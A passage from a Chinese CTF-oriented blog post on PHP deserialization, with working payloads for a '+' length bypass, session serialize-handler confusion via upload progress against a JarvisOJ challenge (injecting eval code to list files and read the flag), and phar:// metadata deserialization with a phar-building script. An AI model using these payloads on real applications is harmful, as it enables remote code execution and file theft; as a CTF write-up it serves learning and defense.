<figure class="highlight maxima"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:<span class="symbol">%</span><span class="number">2b4</span>:<span class="string">"baby"</span>:<span class="number">1</span>:&#123;s:<span class="number">4</span>:<span class="string">"file"</span>;s:<span class="number">8</span>:<span class="string">"flag.php"</span>;&#125;</span><br></pre></td></tr></table></figure>
<p><img src="/2019/07/14/反序列化相关问题注意点/6.png" alt=""></p>
<h1 id="session的反序列化"><a href="#session的反序列化" class="headerlink" title="session的反序列化"></a>session的反序列化</h1><p>PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样就可能存在反序列化漏洞</p>
<p>首先了解一下session三种序列化的方式</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/7.png" alt=""></p>
<p>然后我们以jarvisoj上一道题目为例：<a href="http://web.jarvisoj.com:32784/" target="_blank" rel="noopener">http://web.jarvisoj.com:32784/</a></p>
<p>题目存在index和phpinfo两个页面</p>
<p>index:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//A webshell is wait for you</span></span><br><span class="line">ini_set(<span class="string">'session.serialize_handler'</span>, <span class="string">'php'</span>);</span><br><span class="line">session_start();</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OowoO</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $mdzz;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;mdzz = <span class="string">'phpinfo();'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">eval</span>(<span class="keyword">$this</span>-&gt;mdzz);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'phpinfo'</span>]))</span><br><span class="line">&#123;</span><br><span class="line">    $m = <span class="keyword">new</span> OowoO();</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">    highlight_string(file_get_contents(<span class="string">'index.php'</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>仔细观察会发现在index和phpinfo两个页面中使用的是两个不同的序列化引擎</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/8.png" alt=""></p>
<p><img src="/2019/07/14/反序列化相关问题注意点/9.png" alt=""></p>
<p>这时我们自然联想到session的反序列化漏洞，但这是我们会发现我们似乎找不到突破点来控制session，经过仔细搜索 发现这里我们可以通过利用PHP_SESSION_UPLOAD_PROGRESS上传文件来控制session的内容(当一个上传在处理中，同时POST一个与php.ini中设置的session.upload_progress.name同名变量时，上传进度就可以在$_SESSION中获得)</p>
<p>这样我们可以构造如下的上传请求</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">head</span>&gt;</span> </span><br><span class="line">  <span class="tag">&lt;<span class="name">title</span>&gt;</span>test<span class="tag">&lt;/<span class="name">title</span>&gt;</span> </span><br><span class="line">  <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span> /&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">body</span>&gt;</span> </span><br><span class="line">  <span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">"http://web.jarvisoj.com:32784/index.php"</span> <span class="attr">method</span>=<span class="string">"POST"</span> <span class="attr">enctype</span>=<span class="string">"multipart/form-data"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"hidden"</span> <span class="attr">name</span>=<span class="string">"PHP_SESSION_UPLOAD_PROGRESS"</span> <span class="attr">value</span>=<span class="string">"123"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"file"</span> <span class="attr">name</span>=<span class="string">"file"</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">form</span>&gt;</span> </span><br><span class="line"> <span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>接着我们需要知道哪里是我们可控的点，翻阅PHP手册</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/10.png" alt=""></p>
<p>不难看出我们可以控制文件名来写入session文件</p>
<p>接下来我们来写利用代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">OowoO</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> $mdzz;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;mdzz = <span class="string">'phpinfo();'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">eval</span>(<span class="keyword">$this</span>-&gt;mdzz);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; </span><br><span class="line">$a = <span class="keyword">new</span> OowoO();</span><br><span class="line">$a-&gt;mdzz=<span class="string">'var_dump(scandir(dirname(__FILE__)));'</span>;</span><br><span class="line">$b = serialize($a);</span><br><span class="line"><span class="keyword">echo</span> $b;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"><span class="comment">//O:5:"OowoO":1:&#123;s:4:"mdzz";s:37:"var_dump(scandir(dirname(__FILE__)));";&#125;</span></span><br></pre></td></tr></table></figure>
<p>使用”\”将双引号转义一下，同时为了触发index页面的引擎我们需要在序列化字符串前加”|”</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/11.png" alt=""></p>
<p>可以看到成功触发了反序列化，接着我们读取flag文件就好了</p>
<figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:5</span><span class="selector-pseudo">:"OowoO"</span><span class="selector-pseudo">:1</span>:&#123;<span class="attribute">s</span>:<span class="number">4</span>:<span class="string">"mdzz"</span>;<span class="attribute">s</span>:<span class="number">90</span>:<span class="string">"var_dump(file_get_contents(dirname(__FILE__)."</span>/Here_1s_7he_fl4g_buT_You_Cannot_see.php<span class="string">"));"</span>;&#125;</span><br><span class="line">转义</span><br><span class="line"><span class="selector-tag">O</span><span class="selector-pseudo">:5</span>:\"<span class="selector-tag">OowoO</span>\"<span class="selector-pseudo">:1</span>:&#123;<span class="attribute">s</span>:<span class="number">4</span>:\<span class="string">"mdzz\";s:90:\"var_dump(file_get_contents(dirname(__FILE__).\"/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";&#125;</span></span><br></pre></td></tr></table></figure>
<p><img src="/2019/07/14/反序列化相关问题注意点/12.png" alt=""></p>
<h1 id="phar反序列化"><a href="#phar反序列化" class="headerlink" title="phar反序列化"></a>phar反序列化</h1><p>该方法在某些文件系统函数参数可控的情况下，与phar://伪协议配合使用可不使用unserialize()实现反序列化操作</p>
<p>受影响的文件系统函数如下</p>
<p><img src="/2019/07/14/反序列化相关问题注意点/13.png" alt=""></p>
<p>(图片源于网络)</p>
<p>有如下示例代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TestObject</span></span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">$this</span> -&gt; mini;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$a = $_GET[<span class="string">'file'</span>];</span><br><span class="line">file_get_contents($a);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>可以看到并没有unserialize()函数，同时存在file_get_contents函数，我们可以利用phar来触发反序列化</p>
<p>利用代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">TestObject</span> </span>&#123;</span><br><span class="line">    &#125;</span><br><span class="line">    $phar = <span class="keyword">new</span> Phar(<span class="string">"phar.phar"</span>); <span class="comment">//后缀名必须为phar</span></span><br><span class="line">    $phar-&gt;startBuffering();</span><br><span class="line">    $phar-&gt;setStub(<span class="string">"&lt;?php __HALT_COMPILER(); ?&gt;"</span>); <span class="comment">//设置stub</span></span><br><span class="line">    $o = <span class="keyword">new</span> TestObject();</span><br><span class="line">    $o -&gt; mini=<span class="string">'yemoli'</span>;</span><br><span class="line">    $phar-&gt;setMetadata($o); <span class="comment">//将自定义的meta-data存入manifest</span></span><br><span class="line">    $phar-&gt;addFromString(<span class="string">"test.txt"</span>, <span class="string">"test"</span>); <span class="comment">//添加要压缩的文件</span></span><br><span class="line">    <span class="comment">//签名自动计算</span></span><br><span class="line">    $phar-&gt;stopBuffering();</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>运行代码后会生成一个phar.phar文件，生成的该文件后缀名可以随意更改，接下来使用phar://伪协议进行利用</p>
<figure class="highlight delphi"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0</span>.<span class="number">0.1</span>/<span class="keyword">index</span>.php?<span class="keyword">file</span>=phar:<span class="comment">//phar.phar</span></span><br></pre></td></tr></table></figure>
<p><img src="/2019/07/14/反序列化相关问题注意点/14.png" alt=""></p>
<p>可以看到成功的触发了反序列化。</p>
<p>参考链接：</p>
<p><a href="https://paper.seebug.org/680/" target="_blank" rel="noopener">https://paper.seebug.org/680/</a></p>

      
    </div>
    
    
    

    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechatpay.jpg" alt="夜莫离、 WeChat Pay">
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/alipay.jpg" alt="夜莫离、 Alipay">
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/系统总结/" rel="tag"># 系统总结</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/06/07/强网杯2019-upload题目复现/" rel="next" title="强网杯2019 upload题目复现">
                <i class="fa fa-chevron-left"></i> 强网杯2019 upload题目复现
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/07/16/0ctf-2016-Unserialize题目分析/" rel="prev" title="0ctf-2016-Unserialize题目分析">
                0ctf-2016-Unserialize题目分析 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Table of Contents
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Overview
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">夜莫离、</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">58</span>
                  <span class="site-state-item-name">posts</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">16</span>
                  <span class="site-state-item-name">tags</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/yemoli" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://chxing.xyz/" title="Bling_Dog" target="_blank">Bling_Dog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.smi1e.top/" title="Smi1e" target="_blank">Smi1e</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://altman.vip/" title="Altman" target="_blank">Altman</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.virtua1.cn/" title="Virtua1" target="_blank">Virtua1</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.zhaoj.in/" title="赵" target="_blank">赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.dongzt.cn/" title="Alkaid" target="_blank">Alkaid</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://cdusec.com/" title="CDUSEC" target="_blank">CDUSEC</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://cdusec.happyhacking.top/" title="CDUSEC内部博客" target="_blank">CDUSEC内部博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://jjhpkcr.xyz/" title="江江河畔砍柴人" target="_blank">江江河畔砍柴人</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.youknowi.xin/" title="图先生" target="_blank">图先生</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://a3ura.github.io/" title="a3ura" target="_blank">a3ura</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.recorday.cn/" title="C0d3r1iu" target="_blank">C0d3r1iu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.iloveflag.com/" title="醉梦半醒" target="_blank">醉梦半醒</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#private与protected问题"><span class="nav-number">1.</span> <span class="nav-text">private与protected问题</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#private"><span class="nav-number">1.1.</span> <span class="nav-text">private</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#protected"><span class="nav-number">1.2.</span> <span class="nav-text">protected</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#wakeup-绕过"><span class="nav-number">2.</span> <span class="nav-text">__wakeup()绕过</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#使用-绕过"><span class="nav-number">3.</span> <span class="nav-text">使用+绕过</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#session的反序列化"><span class="nav-number">4.</span> <span class="nav-text">session的反序列化</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#phar反序列化"><span class="nav-number">5.</span> <span class="nav-text">phar反序列化</span></a></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 &mdash; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">夜莫离、</span>

  
</div>


  <!-- <div class="powered-by">Powered by <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a></div> 



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Mist</a> v5.1.4</div>-->



<div class="theme-info">
 <div class="powered-by"></div>
 <span class="post-count">博客全站共63.1k字</span>
</div>
        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

  
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>

<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/love.js"></script>
</body>
</html>
